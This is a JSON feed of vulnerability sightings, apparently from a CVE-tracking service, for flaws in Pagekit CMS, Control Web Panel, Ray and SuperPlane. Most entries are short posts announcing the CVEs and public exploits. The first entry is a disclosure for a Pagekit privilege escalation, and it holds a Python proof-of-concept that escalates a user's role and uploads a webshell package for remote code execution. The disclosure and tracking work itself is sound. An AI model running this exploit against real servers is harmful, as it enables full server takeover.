{"vulnerability": "cve-2026-5751", "sightings": [{"uuid": "c6180f0a-7d6d-4502-be1f-9008a576e728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57518", "type": "seen", "source": "https://gist.github.com/sermikr0/6f0a67e9d101746fcdb04827de137847", "content": "\n# CVE-2026-57518 \u2014 Pagekit CMS 1.0.18 Privilege Escalation \u2192 RCE\n\n**CVE:** CVE-2026-57518  \n**Product:** Pagekit CMS 1.0.18 (https://github.com/pagekit/pagekit)  \n**CVSS 3.1:** 8.8 HIGH \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`  \n**CWE:** CWE-269 Improper Privilege Management  \n**Reporter:** Saidakbarxon Maqsudxonov / saidakbarxonmaqsudxonov4@gmail.com  \n**Date:** 2026-06-26  \n\n---\n\n## Summary\n\n`UserApiController::saveAction()` only checks for assignment of `Role::ROLE_ADMINISTRATOR` (hard-coded ID=3). Custom roles with elevated permissions (e.g., `system: manage packages`) can be freely assigned by any user holding `user: manage users` permission, enabling privilege escalation to Remote Code Execution via the package installer.\n\n---\n\n## Root Cause\n\n**File:** `app/system/modules/user/src/Controller/UserApiController.php` lines 178\u2013188\n\n```php\n$key    = array_search(Role::ROLE_ADMINISTRATOR, @$data['roles'] ?: []);\n$add    = false !== $key && !$user->isAdministrator();\n$remove = false === $key && $user->isAdministrator();\n\nif (($self && $remove) || !App::user()->isAdministrator() && ($remove || $add)) {\n    App::abort(403, 'Cannot add/remove Admin Role.');\n}\n\n$user->save($data); // saves ALL roles including unchecked custom ones\n```\n\n`Role::ROLE_ADMINISTRATOR = 3` (hard-coded in `Role.php`).\n\nAny role with ID \u2260 3 (custom roles: ID 4, 5, 6\u2026) passes through without restriction.\n\n## Attack Chain\n\n1. Attacker has account with `user: manage users` permission\n2. Send `POST /api/user/{attacker_id}` with `\"roles\": [2, 5]` \u2014 role 5 is a custom role with `system: manage packages`\n3. Attacker now holds `system: manage packages`\n4. `POST /admin/api/package/upload` \u2014 upload malicious ZIP containing PHP webshell\n5. `POST /admin/api/package/install` \u2014 install package\n6. Access `http://target/packages/malicious/index.php?cmd=id` \u2192 RCE\n\n## Proof of Concept\n\n```python\nimport requests, re, zipfile, io\n\nBASE = \"https://target.com\"\nsess = requests.Session()\n\n# 1. Login as low-priv user with \"user: manage users\"\nr = sess.post(f\"{BASE}/api/user/login\",\n    json={\"username\": \"editor\", \"password\": \"password\"})\ncsrf = re.search(r'\"csrf\"\\s*:\\s*\"([^\"]+)\"', r.text).group(1)\n\n# 2. Escalate to role ID=5 (has \"system: manage packages\")\nmy_id = sess.get(f\"{BASE}/api/users/me\").json()[\"id\"]\nsess.post(f\"{BASE}/api/user/{my_id}\",\n    json={\"user\": {\"id\": my_id, \"roles\": [2, 5]}},\n    headers={\"X-CSRF-Token\": csrf})\n\n# 3. Upload malicious ZIP \u2192 RCE\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \"w\") as z:\n    z.writestr(\"shell/index.php\", '')\n    z.writestr(\"shell/composer.json\", '{\"name\":\"shell\",\"version\":\"1.0.0\"}')\nbuf.seek(0)\nsess.post(f\"{BASE}/admin/api/package/upload?type=extension\",\n    files={\"file\": (\"shell.zip\", buf, \"application/zip\")},\n    headers={\"X-CSRF-Token\": csrf})\n\nprint(f\"RCE: {BASE}/packages/shell/index.php?cmd=id\")\n```\n\n## Impact\n\nFull server compromise on any Pagekit installation that delegates `user: manage users` to non-owner accounts.\n\n## Mitigation\n\nProject is unmaintained (last commit 2018, archived 2023). Restrict `user: manage users` to fully-trusted administrators only, or migrate to a maintained CMS.", "creation_timestamp": "2026-06-26T15:47:53.100198Z"}, {"uuid": "2df44e3e-8cbc-40ad-b26f-b05305101080", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57518", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mp7qcdhtpc2c", "content": "CVE-2026-57518 - Pagekit CMS 1.0.18 Privilege Escalation via UserApiController\nCVE ID : CVE-2026-57518\n \n Published : June 26, 2026, 3:58 p.m. | 3\u00a0hours, 13\u00a0minutes ago\n \n Description : Pagekit CMS 1.0.18 contains a privilege escalation vulnerability that allows authenticated ...", "creation_timestamp": "2026-06-26T20:00:48.653426Z"}, {"uuid": "2da9331d-e6c6-4851-b6fd-0952efb4c84b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mplxqjsfol2i", "content": "CVE-2026-57517 - Control Web Panel\nCVE ID : CVE-2026-57517\n \n Published : July 1, 2026, 3:11 p.m. | 35\u00a0minutes ago\n \n Description : Control Web Panel before 0.9.8.1225 contains a blind SQL injection vulnerability that allows unauthenticated remote attackers to execute arbitrar...", "creation_timestamp": "2026-07-01T16:45:58.270885Z"}, {"uuid": "4272831e-60ac-4c97-8556-30d290cdb049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57516", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpmhdiii7d2v", "content": "CVE-2026-57516 - Ray\nCVE ID : CVE-2026-57516\n \n Published : July 1, 2026, 4:36 p.m. | 4\u00a0hours, 36\u00a0minutes ago\n \n Description : Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution b...", "creation_timestamp": "2026-07-01T21:25:00.312509Z"}, {"uuid": "2995cfdd-1536-47ae-b84a-eebb2038f53f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpmyyilm2p2r", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57517 \u0432 Control Web Panel: \u0443\u0433\u0440\u043e\u0437\u0430 \u0441\u043b\u0435\u043f\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438\n\n\n\nhttps://kripta.biz/posts/7EDACBB2-AB1D-47A5-A35D-646EC6B1B3B6", "creation_timestamp": "2026-07-02T02:40:58.876153Z"}, {"uuid": "3ce8d94f-a2a8-49cb-980d-6283cb009c73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn76byov32l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57517 \u0432 Control Web Panel: \u0443\u0433\u0440\u043e\u0437\u0430 \u0441\u043b\u0435\u043f\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/61C84023-092C-41B3-B1D5-591165B52FD2", "creation_timestamp": "2026-07-02T04:31:36.079148Z"}, {"uuid": "208e7635-2ea6-4cad-b628-29bb5a51ed1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57516", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7ptkzqa2i", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57516 \u0432 Ray: \u0440\u0438\u0441\u043a\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6B4690FA-92C8-46B2-A996-BEC26B2FADD6", "creation_timestamp": "2026-07-02T04:41:24.605479Z"}, {"uuid": "3a8eb612-dde1-4f3d-9d5b-dad60329e187", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57516", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnpnticka2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57516 \u0432 Ray: \u043e\u043f\u0430\u0441\u043d\u0430\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/578363E2-5B97-404F-A460-2C79047FE713", "creation_timestamp": "2026-07-02T09:26:37.569377Z"}, {"uuid": "ad245c76-03f5-471b-8d5a-437f174b6717", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mppn7mcw2t2f", "content": "A public PoC is available for CVE-2026-57517, a critical CVSS 9.8 Control Web Panel SQLi flaw allowing unauthenticated remote code execution.\n\n#CVE202657517 #ControlWebPanel #SQLInjection #CyberSecurity #Vulnerability", "creation_timestamp": "2026-07-03T03:48:12.503764Z"}, {"uuid": "ba9b0414-7688-4412-93e0-66b02a1cdac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqin55bdd2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-57517 \u0432 Control Web Panel: \u0443\u0433\u0440\u043e\u0437\u0430 \u0441\u043b\u0435\u043f\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438\n\n\n\nhttps://kripta.biz/posts/9A4B347C-43E3-41DF-8764-029E509599B8", "creation_timestamp": "2026-07-03T11:58:56.721988Z"}, {"uuid": "2badb0a1-f5e2-4c2f-89a4-905471fc618f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mpte3diswa2v", "content": "\ud83d\udd34 EXPLOITED\n\nControl Web Panel, a hosting panel on many budget Linux servers, has a critical flaw (CVE-2026-57517) that lets a stranger take over the server with no login.\n\nA working exploit went public July 4.\n\nFix: update to 0.9.8.1225 now.", "creation_timestamp": "2026-07-04T15:15:23.953518Z"}, {"uuid": "361e743d-a2f4-4a9a-8283-db1f0426dea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-57517", "type": "seen", "source": "https://infosec.exchange/ap/users/116769913619325742/statuses/116862361729840802", "content": "\ud83d\udd34 EXPLOITED\nControl Web Panel, a hosting panel on many budget Linux servers, has a critical flaw (CVE-2026-57517) that lets a stranger take over the server with no login.\nA working exploit went public July 4.\nFix: update to 0.9.8.1225 now.\nhttps://suriq.io/blog/control-web-panel-cve-2026-57517-public-exploit\n#CVE #infosec #cybersecurity", "creation_timestamp": "2026-07-04T19:14:28.718235Z"}, {"uuid": "ebc5b2a1-f1e5-44de-9231-27ef4db58aba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mq6hu3c4gq2r", "content": "The latest update for #CyCognito includes \"Emerging Threat: (CVE-2026-57517) Control Web Panel Remote Code Execution via SQL Injection\".\n\n#cybersecurity #AttackSurfaceManagement #EASM https://opsmtrs.com/44Srq0X", "creation_timestamp": "2026-07-09T01:22:12.359248Z"}, {"uuid": "4d202c19-fd63-42cd-a42c-1c3777494aef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57516", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mqiswn7ml32d", "content": "\ud83d\udccc CVE-2026-57516 - Ray prior to 2.56.0 contains an unsafe deserialization vulnerability in the WebDataset reader that allows attackers to achieve remote code execution b... https://www.cyberhub.blog/cves/CVE-2026-57516", "creation_timestamp": "2026-07-13T04:07:07.501073Z"}, {"uuid": "b0449f52-1093-4ebd-9663-dd78b35eb5dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://t.me/GithubRedTeam/92710", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-57517-CWP\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 17:00:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nControl Web Panel (CWP) vulnerability scenario related to CVE-2026-57517\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:06.109023Z"}, {"uuid": "3d0dba73-8ad4-4e9f-ba11-992990574457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://t.me/GithubRedTeam/91911", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-57517\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 14:48:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\udc89 Blind SQL Injection \u2192 RCE exploit for Control Web Panel (CWP) \u2264 0.9.8.1224 \u2014 userRes POST \u2192 INTO DUMPFILE \u2192 cwpsvc shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-13T22:00:13.029429Z"}, {"uuid": "aaf33587-849a-43a3-8721-bdc6a11a57e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://t.me/GithubRedTeam/92710", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-57517-CWP\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 17:00:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nControl Web Panel (CWP) vulnerability scenario related to CVE-2026-57517\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:09.571848Z"}, {"uuid": "2bbf7709-1026-4db1-a8c1-3359dae4af41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "https://t.me/GithubRedTeam/91911", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-57517\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 14:48:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\udc89 Blind SQL Injection \u2192 RCE exploit for Control Web Panel (CWP) \u2264 0.9.8.1224 \u2014 userRes POST \u2192 INTO DUMPFILE \u2192 cwpsvc shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:21.004849Z"}, {"uuid": "e6ea7283-b1d8-4f87-b7a0-2f7f630346fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91911", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-57517\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a shinthink\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-04 14:48:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\ud83d\udc89 Blind SQL Injection \u2192 RCE exploit for Control Web Panel (CWP) \u2264 0.9.8.1224 \u2014 userRes POST \u2192 INTO DUMPFILE \u2192 cwpsvc shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:29.208570Z"}, {"uuid": "528a11e6-46cb-4c49-aac0-bdd8127fb19c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92710", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-57517-CWP\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a gagaltotal\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-09 17:00:47\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nControl Web Panel (CWP) vulnerability scenario related to CVE-2026-57517\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:36.471792Z"}, {"uuid": "197ed782-ff8c-4cdb-bbc4-7ba309caa042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "Telegram/QKon8ALdayI3TrgWGw4-0pv35mdNAYiB_OEF40OlB_Dw96c", "content": "", "creation_timestamp": "2026-07-16T19:00:15.395397Z"}, {"uuid": "fa7bb5c8-3aae-4653-a5f2-52426cab904f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "Telegram/cpiqXd7ZGBh_Hd-K40OMQX8onVjmrXicBJVv84gtdkLX7iA", "content": "", "creation_timestamp": "2026-07-16T19:00:22.369112Z"}, {"uuid": "1c60c5ed-f901-4312-9484-a0ea577a76ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "Telegram/9Hb4fvIPrKK8606iJIWyf5bhKwWTbv2xyC9a2GDzZG3YJM8", "content": "", "creation_timestamp": "2026-07-16T19:00:22.141414Z"}, {"uuid": "dfe81331-5ff6-4a02-a09a-d4893466db6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "Telegram/9Hb4fvIPrKK8606iJIWyf5bhKwWTbv2xyC9a2GDzZG3YJM8", "content": "", "creation_timestamp": "2026-07-17T00:00:38.614579Z"}, {"uuid": "3cecfa81-476f-4be3-8362-39ea6ab1be27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "Telegram/cpiqXd7ZGBh_Hd-K40OMQX8onVjmrXicBJVv84gtdkLX7iA", "content": "", "creation_timestamp": "2026-07-17T00:00:38.856316Z"}, {"uuid": "57bc7bb6-29e1-4170-af91-1a98ff05b27b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "seen", "source": "Telegram/QKon8ALdayI3TrgWGw4-0pv35mdNAYiB_OEF40OlB_Dw96c", "content": "", "creation_timestamp": "2026-07-17T01:00:13.452729Z"}, {"uuid": "24082e38-79a9-4632-b020-a0246fb6702f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "published-proof-of-concept", "source": "Telegram/9Hb4fvIPrKK8606iJIWyf5bhKwWTbv2xyC9a2GDzZG3YJM8", "content": "", "creation_timestamp": "2026-07-18T00:00:21.994586Z"}, {"uuid": "4b37bc36-3c8c-4568-8e5e-87ce044e48c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "published-proof-of-concept", "source": "Telegram/cpiqXd7ZGBh_Hd-K40OMQX8onVjmrXicBJVv84gtdkLX7iA", "content": "", "creation_timestamp": "2026-07-18T00:00:22.131395Z"}, {"uuid": "a5282cbd-fe94-497c-a75e-4d230f1f4747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57517", "type": "published-proof-of-concept", "source": "Telegram/QKon8ALdayI3TrgWGw4-0pv35mdNAYiB_OEF40OlB_Dw96c", "content": "", "creation_timestamp": "2026-07-18T00:00:42.101735Z"}, {"uuid": "08ef3fc1-e559-4fc2-addd-b4d04aaf118f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-57516", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-hhrp-gw25-jr43", "content": "", "creation_timestamp": "2026-07-24T16:35:16.717326Z"}, {"uuid": "0ebf6828-788a-43c5-a730-5fbc9116c49f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57510", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrqjsueq3f2x", "content": "CVE-2026-57510 - SuperPlane\nCVE ID : CVE-2026-57510\n \n Published : July 28, 2026, 8:17 p.m. | 2\u00a0hours, 20\u00a0minutes ago\n \n Description : SuperPlane before 0.27.0 contains a broken object-level authorization vulnerability in the CanvasService gRPC handlers that allows authenticat...", "creation_timestamp": "2026-07-28T23:10:25.961389Z"}, {"uuid": "736f3e1f-26a8-43e7-988c-bc0aada3e79a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-57510", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrrwmcj6tp2y", "content": "CVE-2026-57510\nA security issue in SuperPlane versions before 0.27.0 allows users with limited access to view and modify resources in other organizations. This can lead to sensitive information being accessed or compromised,\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T12:32:04.612829Z"}]}